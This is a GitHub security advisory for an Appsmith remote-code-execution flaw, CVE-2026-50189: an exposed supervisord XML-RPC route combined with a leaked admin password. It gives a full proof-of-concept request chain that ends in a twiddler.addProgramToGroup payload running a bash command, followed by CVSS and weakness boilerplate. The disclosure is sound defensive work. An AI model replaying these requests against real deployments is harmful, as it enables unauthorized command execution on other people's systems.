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RCE via Supervisord XML-RPC Admin Interface Exposed via /supervisor Caddy Route

High
wyattwalter published GHSA-v49v-673j-g4vj Jun 12, 2026

Package

com.appsmith:appsmith-server

Affected versions

<= v2.0

Patched versions

v2.1

Description

Summary

Appsmith's bundled supervisord exposes an XML-RPC interface on port 9001, reachable from
outside the container via a Caddy reverse-proxy route at /supervisor/* on the public
ingress.

Combined with the APPSMITH_SUPERVISOR_PASSWORD exposed via GET /api/v1/admin/env, any
authenticated administrator can send arbitrary XML-RPC calls to supervisord and execute OS
commands inside the Docker container via twiddler.addProgramToGroup.

Prerequisites

Requirement Detail
Authenticated user Admin (SuperUser) session
APPSMITH_SUPERVISOR_PASSWORD Obtained via GET /api/v1/admin/env (admin-only)

Attack Chain

Step 1 — Obtain supervisord credentials

GET /api/v1/admin/env HTTP/1.1
Host: TARGET
Cookie: SESSION=<admin_session>
X-XSRF-TOKEN: <token>

Response includes:

{
  "APPSMITH_SUPERVISOR_PASSWORD": "<random_generated_password>"
}

The supervisord HTTP interface uses this value as the Basic Auth password with username
appsmith, as defined in:

# deploy/docker/fs/etc/supervisor/supervisord.conf
[inet_http_server]
port = *:9001
username = appsmith
password = %(ENV_APPSMITH_SUPERVISOR_PASSWORD)s

The interface is reachable from outside the container via Caddy:

# deploy/docker/fs/opt/appsmith/caddy-reconfigure.mjs
redir /supervisor /supervisor/
handle_path /supervisor/* {
  import reverse_proxy 9001
}

Step 2 — Authenticate and enumerate supervisord processes

POST https://TARGET/supervisor/RPC2
Authorization: Basic base64(appsmith:<APPSMITH_SUPERVISOR_PASSWORD>)
Content-Type: text/xml

<?xml version='1.0'?>
<methodCall>
  <methodName>supervisor.getAllProcessInfo</methodName>
  <params></params>
</methodCall>

→ HTTP 200 — returns full process list (backend, editor, rts, cron...)

Step 3 — Execute arbitrary OS command via twiddler.addProgramToGroup

POST https://TARGET/supervisor/RPC2
Authorization: Basic base64(appsmith:<APPSMITH_SUPERVISOR_PASSWORD>)
Content-Type: text/xml

<?xml version='1.0'?>
<methodCall>
  <methodName>twiddler.addProgramToGroup</methodName>
  <params>
    <param><value><string>backend</string></value></param>
    <param><value><string>rce_shell</string></value></param>
    <param><value>
      <struct>
        <member>
          <name>command</name>
          <value><string>bash -c 'id > /tmp/rce_proof.txt'</string></value>
        </member>
        <member>
          <name>autostart</name>
          <value><boolean>1</boolean></value>
        </member>
        <member>
          <name>autorestart</name>
          <value><string>false</string></value>
        </member>
      </struct>
    </value></param>
  </params>
</methodCall>

→ HTTP 200 — program registered and started immediately (autostart: true)
→ OS command executed as appsmith user inside container

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-50189

Weaknesses

Permissive List of Allowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits